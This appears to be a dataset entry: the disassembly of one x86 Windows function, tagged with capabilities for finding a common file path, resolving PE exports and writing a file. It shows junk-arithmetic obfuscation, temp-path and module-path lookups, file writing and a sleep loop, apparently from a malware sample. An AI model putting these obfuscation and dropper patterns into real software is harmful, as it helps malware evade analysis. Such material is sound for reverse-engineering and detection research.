Function at 0x408bc0
Capabilities:
Get common file path
Resolve function by parsing pe exports
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x41e2e8
mov eax, dword fs:[0]
push eax
sub esp, 0xe0
mov eax, dword [0x425f60]
xor eax, esp
mov dword [esp + 0xd8], eax
push ebx
push esi
push edi
mov eax, dword [0x425f60]
xor eax, esp
push eax
lea eax, [esp + 0xf0]
mov dword fs:[0], eax
fldz
xor eax, eax
mov word [esp + 0x40], ax
xor ecx, ecx
mov word [esp + 0x38], cx
fst dword [esp + 0x34]
fst dword [esp + 0x2c]
xor ebx, ebx
fst dword [esp + 0x3c]
xor edx, edx
fstp dword [esp + 0x70]
mov word [esp + 0x28], dx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x84], ebx
mov word [esp + 0x30], ax
mov dword [esp + 0x44], ebx
mov dword [esp + 0x48], ebx
mov dword [esp + 0xa0], 0xf
mov dword [esp + 0x9c], ebx
mov byte [esp + 0x8c], al
push 0x118
mov dword [esp + 0xfc], ebx
call fcn.0040afaa
push eax
mov dword [esp + 0x88], eax
call fcn.00403320
add esp, 8
jmp 0x408c80
push ebx
call fcn.0040adda
movzx ecx, word [esp + 0x2c]
mov esi, dword [0x423528]
lea ecx, [ecx + esi + 0x7a59d51b]
mov esi, dword [esp + 0x4c]
mov word [esp + 0x2c], cx
inc dword [0x423528]
add esp, 4
cmp edx, esi
mov dword [esp + 0x74], eax
mov dword [esp + 0x78], edx
jg 0x408cc8
jl 0x408cbe
cmp eax, dword [esp + 0x44]
jae 0x408cc8
xor esi, esi
mov dword [esp + 0x44], ebx
mov dword [esp + 0x48], esi
mov ecx, eax
sub ecx, dword [esp + 0x44]
mov edi, edx
sbb edi, esi
mov dword [esp + 0x18], edi
js 0x409730
jg 0x408cea
cmp ecx, 0x708
jbe 0x409730
mov dword [esp + 0x48], edx
mov dx, word [esp + 0x40]
movsx ecx, dx
add ecx, dword [esp + 0x24]
mov dword [esp + 0x44], eax
mov dword [esp + 0x24], ecx
or ecx, 0xffffffff
add dword [esp + 0x40], ecx
mov edx, dword [0x4235c8]
add dword [0x4235c8], ecx
cmp edx, 0x9d17906f
mov dword [esp + 0x68], ebx
jl 0x408d49
mov ecx, dword [0x425884]
mov dword [esp + 0x20], ecx
fild dword [esp + 0x20]
fld dword [esp + 0x3c]
fld dword [esp + 0x70]
fsubp st(2)
fxch st(1)
fsub qword [0x41f8d0]
fsubp st(1)
fstp dword [esp + 0x3c]
jmp 0x408d6b
fld dword [0x425d24]
mov dx, word [esp + 0x38]
movsx ecx, dx
add ecx, 0x68565e3d
mov dword [esp + 0x20], ecx
fisub dword [esp + 0x20]
fstp dword [0x425d24]
fld dword [0x4257f4]
mov edx, dword [0x4257e0]
mov dword [esp + 0x20], edx
fisub dword [esp + 0x20]
mov edi, eax
shr edi, 9
lea eax, [edi + 0x55]
mov dword [esp + 0x54], edi
mov dword [esp + 0x64], eax
fsub qword [0x41f8c8]
fmul dword [esp + 0x2c]
fstp dword [esp + 0x2c]
fld dword [0x4257f4]
fld1
fadd st(1), st(0)
fxch st(1)
fstp dword [0x4257f4]
fsubr dword [esp + 0x2c]
fstp dword [esp + 0x2c]
mov ecx, dword [esp + 0x24]
mov dword [esp + 0x20], ecx
fild dword [esp + 0x20]
fld dword [esp + 0x2c]
fsub qword [0x41f8c0]
fsub qword [0x41f8b8]
fsubp st(1)
call fcn.0040aeb0
push 0x408
mov dword [esp + 0x28], eax
push 0x423628
call fcn.004012d0
mov edx, dword [0x4234c4]
mov dword [esp + 0x28], edx
fild dword [esp + 0x28]
mov dword [esp + 0x68], eax
add esp, 8
fadd qword [0x425db8]
mov eax, dword [esp + 0x24]
add eax, 0x6e0054b5
mov dword [esp + 0x20], eax
fild dword [esp + 0x20]
fcompp
fnstsw ax
fld qword [0x425db8]
fld1
fsub st(1), st(0)
fxch st(1)
fstp qword [0x425db8]
test ah, 0x41
jne 0x408e60
inc dword [esp + 0x28]
fstp st(0)
fld qword [0x4235b8]
mov cx, word [esp + 0x28]
movsx edx, cx
sub edx, 0x30b6cdb
mov dword [esp + 0x20], edx
fild dword [esp + 0x20]
fsubp st(1)
fstp qword [0x4235b8]
jmp 0x408e82
fadd dword [0x423a8c]
fstp dword [0x423a8c]
fld dword [0x423a8c]
fsubr qword [0x41f8b0]
call fcn.0040aeb0
mov dword [0x425884], eax
push 0xd
push 0x425b68
call fcn.004012d0
mov esi, eax
push 0xaf1
push 0x424800
mov dword [esp + 0x60], esi
call fcn.004012d0
push 0x31e
push 0x423180
mov dword [esp + 0x38], eax
call fcn.004012d0
add esp, 0x18
mov dword [esp + 0x6c], eax
cmp edi, dword [esp + 0x64]
je 0x4093a8
mov eax, dword [0x427760]
push 0
push eax
call fcn.004013e0
add esp, 8
test eax, eax
jne 0x408ef1
mov ecx, dword [0x427768]
mov edx, dword [0x4272a4]
push ecx
push edx
call fcn.00401d80
add esp, 8
mov eax, dword [esp + 0x54]
mov ecx, dword [esp + 0x6c]
mov edx, dword [esp + 0x20]
push eax
push ecx
push edx
lea eax, [esp + 0xb0]
push eax
call fcn.00402a70
push 0x8b
push 0x424750
call fcn.004012d0
mov ebx, eax
mov eax, dword [esp + 0x68]
add esp, 0x18
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408f27
mov edi, ebx
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x408f33
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [0x423128]
mov dword [esp + 0x14], ecx
push 0x2710
push 0
fild dword [esp + 0x1c]
lea edx, [esp + 0x90]
push edx
lea eax, [esp + 0xb0]
fsub qword [0x425ce8]
push ebx
push eax
fadd dword [0x425d9c]
fstp dword [0x425d9c]
fld qword [0x425ce8]
fadd qword [0x41f340]
fstp qword [0x425ce8]
inc dword [0x423128]
call fcn.004083a0
fldz
push 0x8b
fstp qword [esp + 0x2c]
push 0
push ebx
mov dword [esp + 0x34], 0
call fcn.0040b4d0
push ebx
call fcn.0040b3e5
mov eax, dword [esp + 0xb0]
add esp, 0x24
cmp dword [esp + 0xa0], 0x10
jae 0x408fda
lea eax, [esp + 0x8c]
mov ecx, dword [esp + 0x9c]
mov edx, dword [esp + 0x60]
push ecx
push eax
push edx
call fcn.004080b0
add esp, 0xc
cmp eax, 9
jl 0x409376
mov ecx, dword [esp + 0x8c]
mov edi, 0x10
cmp dword [esp + 0xa0], edi
jae 0x409015
lea ecx, [esp + 0x8c]
mov edx, dword [ecx]
xor ecx, ecx
cmp ecx, dword [esp + 0x78]
jl 0x409376
jg 0x40902f
cmp edx, dword [esp + 0x74]
jb 0x409376
lea esi, [eax - 1]
cmp esi, dword [esp + 0x9c]
jbe 0x409040
call fcn.0040be22
mov eax, dword [esp + 0x8c]
cmp dword [esp + 0xa0], edi
jae 0x409057
lea eax, [esp + 0x8c]
mov byte [eax + esi], 0
mov eax, dword [esp + 0x8c]
cmp dword [esp + 0xa0], edi
jae 0x409072
lea eax, [esp + 0x8c]
lea ecx, [esp + 0xa4]
add eax, 8
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4090a0
test dl, dl
je 0x40909c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4090a0
add eax, 2
add ecx, 2
test dl, dl
jne 0x409080
xor eax, eax
jmp 0x4090a5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4090c0
fld qword [0x423548]
fadd qword [0x41f8a8]
fstp qword [0x423548]
jmp 0x409376
add dword [esp + 0x24], 0x692920b0
mov ecx, dword [esp + 0xa0]
mov ebx, dword [esp + 0x8c]
cmp ecx, edi
jb 0x4091b2
mov edi, ebx
test ebx, ebx
je 0x409111
mov eax, ebx
cmp ecx, 0x10
jae 0x4090f2
lea eax, [esp + 0x8c]
cmp eax, edi
ja 0x409111
mov eax, ebx
cmp ecx, 0x10
jae 0x409104
lea eax, [esp + 0x8c]
mov edx, dword [esp + 0x9c]
add eax, edx
cmp edi, eax
jbe 0x40912b
call fcn.0040be22
mov ecx, dword [esp + 0xa0]
mov edx, dword [esp + 0x9c]
mov ebx, dword [esp + 0x8c]
lea esi, [esp + 0x88]
mov dword [esp + 0x5c], edi
mov eax, ebx
cmp ecx, 0x10
jae 0x409144
lea eax, [esp + 0x8c]
lea edi, [eax + edx]
test edi, edi
je 0x409171
mov eax, ebx
cmp ecx, 0x10
jae 0x409159
lea eax, [esp + 0x8c]
cmp eax, edi
ja 0x409171
mov eax, ebx
cmp ecx, 0x10
jae 0x40916b
lea eax, [esp + 0x8c]
add eax, edx
cmp edi, eax
jbe 0x409176
call fcn.0040be22
cmp esi, 0xfffffffc
je 0x40918f
test esi, esi
je 0x40918a
lea eax, [esp + 0x88]
cmp esi, eax
je 0x40918f
call fcn.0040be22
cmp dword [esp + 0x5c], edi
je 0x409260
cmp esi, 0xfffffffc
je 0x4091d1
test esi, esi
jne 0x4091a7
call fcn.0040be22
cmp dword [esi + 0x18], 0x10
jb 0x4091be
mov eax, dword [esi + 4]
jmp 0x4091c1
lea edi, [esp + 0x8c]
jmp 0x4090e4
lea eax, [esi + 4]
mov ecx, dword [esi + 0x14]
add ecx, eax
cmp dword [esp + 0x5c], ecx
jb 0x4091d1
call fcn.0040be22
mov edx, dword [esp + 0x5c]
mov byte [edx], 0
mov eax, dword [0x4257e4]
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
fstp qword [0x423ac8]
cmp esi, 0xfffffffc
je 0x409217
test esi, esi
jne 0x4091f9
call fcn.0040be22
cmp dword [esi + 0x18], 0x10
jb 0x409204
mov eax, dword [esi + 4]
jmp 0x409207
lea eax, [esi + 4]
mov ecx, dword [esi + 0x14]
add ecx, eax
cmp dword [esp + 0x5c], ecx
jb 0x409217
call fcn.0040be22
dec dword [0x424734]
mov dx, word [esp + 0x28]
inc dword [esp + 0x5c]
movsx eax, dx
mov edx, dword [0x424734]
mov ecx, 0x24352c2e
sub ecx, eax
lea eax, [ecx + edx]
movzx ecx, word [esp + 0x28]
mov edx, dword [esp + 0x9c]
imul ecx, eax
mov ebx, dword [esp + 0x8c]
mov word [esp + 0x28], cx
mov ecx, dword [esp + 0xa0]
jmp 0x409136
push 0x7e
push 0x424750
call fcn.004012d0
xor ebx, ebx
push ebx
push ebx
lea edx, [esp + 0x98]
mov esi, eax
push edx
lea eax, [esp + 0xb8]
push esi
push eax
call fcn.004083a0
mov ecx, dword [0x423594]
mov dword [esp + 0x30], ecx
fild dword [esp + 0x30]
push 0x7e
push ebx
push esi
fsub qword [0x425878]
fsub qword [0x425888]
fmul qword [0x4247d0]
fstp qword [0x4247d0]
dec dword [0x423594]
fldz
fstp qword [esp + 0x3c]
mov dword [esp + 0x3c], ebx
call fcn.0040b4d0
push esi
call fcn.0040b3e5
fld dword [esp + 0x58]
fmul qword [0x4235f8]
push 0xc
push 0x425b84
fstp dword [esp + 0x60]
call fcn.004012d0
mov dx, word [esp + 0x5c]
mov ecx, dword [esp + 0x58]
mov esi, eax
movsx eax, dx
lea edx, [eax + ecx + 0x26675a48]
mov ax, word [0x423aa4]
inc dword [esp + 0x58]
movsx ecx, ax
mov eax, 0xf58d45b0
sub eax, ecx
add esp, 0x34
cmp eax, edx
jne 0x409329
mov ecx, dword [0x42361c]
imul ecx, ecx, 0xe17c841f
mov dword [0x42361c], ecx
mov eax, esi
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409330
sub eax, edx
push eax
push 0xffffffffffffffff
push esi
lea ecx, [esp + 0x94]
call fcn.00405af0
fldz
mov edi, eax
fstp qword [esp + 0x14]
xor eax, eax
mov dword [esi], eax
mov dword [esi + 4], eax
push esi
mov dword [esp + 0x18], ebx
mov dword [esi + 8], eax
call fcn.0040b3e5
mov edx, dword [esp + 0xa0]
add edx, 0xfffffff5
add esp, 4
cmp edi, edx
je 0x40938b
mov eax, dword [esp + 0x54]
inc eax
mov dword [esp + 0x54], eax
cmp eax, dword [esp + 0x64]
jne 0x408ec7
jmp 0x4093a2
push 0xb
push edi
lea ecx, [esp + 0x90]
call fcn.00406a60
mov dword [esp + 0x68], 1
mov esi, dword [esp + 0x50]
xor ebx, ebx
fldz
mov edi, dword [esp + 0x60]
push 0x408
fstp qword [esp + 0x18]
push ebx
mov dword [esp + 0x1c], ebx
push edi
call fcn.0040b4d0
push edi
call fcn.0040b3e5
fldz
xor eax, eax
fstp qword [esp + 0x24]
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esp + 0x24], ebx
push esi
mov byte [esi + 0xc], al
call fcn.0040b3e5
fldz
mov ax, word [0x423598]
movzx ecx, word [esp + 0x4c]
mov esi, dword [esp + 0x80]
cwde
sub eax, ecx
push 0x31e
add eax, 0x52618645
mov word [0x423598], ax
push ebx
fstp qword [esp + 0x30]
mov dword [esp + 0x30], ebx
push esi
call fcn.0040b4d0
push esi
call fcn.0040b3e5
fldz
mov esi, dword [esp + 0x44]
push 0xaf1
fstp qword [esp + 0x3c]
push ebx
mov dword [esp + 0x40], ebx
push esi
call fcn.0040b4d0
push esi
call fcn.0040b3e5
fld dword [esp + 0x60]
fadd qword [0x41f8a0]
push 0x40
lea edx, [esp + 0xdc]
push ebx
fmul dword [esp + 0x70]
push edx
fstp dword [esp + 0x74]
call fcn.0040b4d0
add esp, 0x40
cmp dword [esp + 0x68], ebx
je 0x409730
mov eax, dword [esp + 0x80]
add dword [0x4234c0], 0x9b169ea0
push 0x708
push eax
call fcn.004039a0
add esp, 8
cmp dword [esp + 0x9c], 0x200
jbe 0x409730
push 0x370
call fcn.0040afaa
fld dword [0x425e58]
fsub qword [0x425d48]
mov ebx, eax
add esp, 4
fsub qword [0x41f898]
fcomp qword [0x41f890]
fnstsw ax
test ah, 0x41
jp 0x40954c
fld dword [esp + 0x34]
fld1
fsub st(1), st(0)
fxch st(1)
fstp dword [esp + 0x34]
mov ecx, dword [0x425890]
mov dword [esp + 0x14], ecx
fild dword [esp + 0x14]
fadd dword [esp + 0x34]
fadd dword [esp + 0x34]
mov dx, word [esp + 0x28]
dec dword [0x425890]
movsx eax, dx
sub eax, 0x6ec7871a
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
fcompp
fnstsw ax
test ah, 0x41
jne 0x40952a
mov ecx, dword [esp + 0x84]
fstp st(0)
mov word [esp + 0x40], cx
jmp 0x409561
fld dword [esp + 0x3c]
mov dx, word [esp + 0x38]
fstp st(0)
fld qword [0x425d08]
mov ax, word [esp + 0x30]
fstp st(0)
fsubr dword [esp + 0x3c]
fstp dword [esp + 0x3c]
jmp 0x409561
mov cx, word [0x425d98]
movsx eax, cx
add dword [esp + 0x24], eax
dec word [0x425d98]
push ebx
push 0xeb
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push ebx
call fcn.00402260
push 3
push 0x425b80
call fcn.004012d0
movzx edx, word [esp + 0x40]
mov esi, eax
sub edx, 0x6ca57810
push esi
mov word [esp + 0x44], dx
push ebx
call fcn.0040baca
mov edi, eax
fldz
xor eax, eax
mov word [esi], ax
fstp qword [esp + 0x2c]
push esi
mov dword [esp + 0x30], eax
mov byte [esi + 2], al
call fcn.0040b3e5
mov eax, dword [esp + 0xa8]
add esp, 0x1c
cmp dword [esp + 0xa0], 0x10
jae 0x4095d4
lea eax, [esp + 0x8c]
mov ecx, dword [esp + 0x9c]
push edi
push 1
push ecx
push eax
call fcn.0040bc43
push edi
call fcn.0040b670
add esp, 0x14
push 0x104
lea eax, [ebx + 0x104]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
fld qword [0x425dc8]
mov dx, word [esp + 0x38]
movsx eax, dx
add eax, 0x10e121f1
mov dword [esp + 0x14], eax
push 0x15
push 0x423aa8
fild dword [esp + 0x1c]
fadd qword [0x425898]
fsubp st(1)
fstp qword [0x425dc8]
dec dword [esp + 0x40]
call fcn.004012d0
push 0x20
push 0x423ae0
mov edi, eax
call fcn.004012d0
fld dword [0x4235f4]
mov cx, word [0x4252f4]
mov esi, eax
mov eax, dword [0x427760]
push eax
movsx edx, cx
add edx, 0x6c6f4aa6
push esi
mov dword [esp + 0x2c], edx
lea eax, [ebx + 0x104]
push eax
fisub dword [esp + 0x30]
push edi
lea eax, [ebx + 0x208]
push 0x168
push eax
fstp dword [0x4235f4]
call fcn.0040b54a
fldz
xor eax, eax
mov dword [esi], eax
fstp qword [esp + 0x3c]
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], eax
mov dword [esp + 0x3c], eax
push esi
mov dword [esi + 0x1c], eax
call fcn.0040b3e5
fldz
xor eax, eax
fstp qword [esp + 0x40]
mov dword [edi], eax
mov dword [edi + 4], eax
mov dword [edi + 8], eax
mov dword [edi + 0xc], eax
mov dword [edi + 0x10], eax
push edi
mov dword [esp + 0x44], 0
mov byte [edi + 0x14], al
call fcn.0040b3e5
mov ecx, dword [0x427760]
push 1
push ecx
call fcn.004013e0
lea eax, [ebx + 0x208]
push eax
push ebx
call fcn.00401d80
add esp, 0x40
push 0x370
push 0
push ebx
call fcn.0040b4d0
push ebx
call fcn.0040b3e5
fld qword [0x4247d0]
fadd qword [0x41f888]
add esp, 0x10
push 0x15f90
fstp dword [esp + 0x38]
call dword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [0x427760]
push ebx
push edx
call fcn.004013e0
add esp, 8
test eax, eax
jne 0x408c80
mov eax, dword [0x427768]
mov ecx, dword [0x4272a4]
push eax
push ecx
call fcn.00401d80
jmp 0x408c78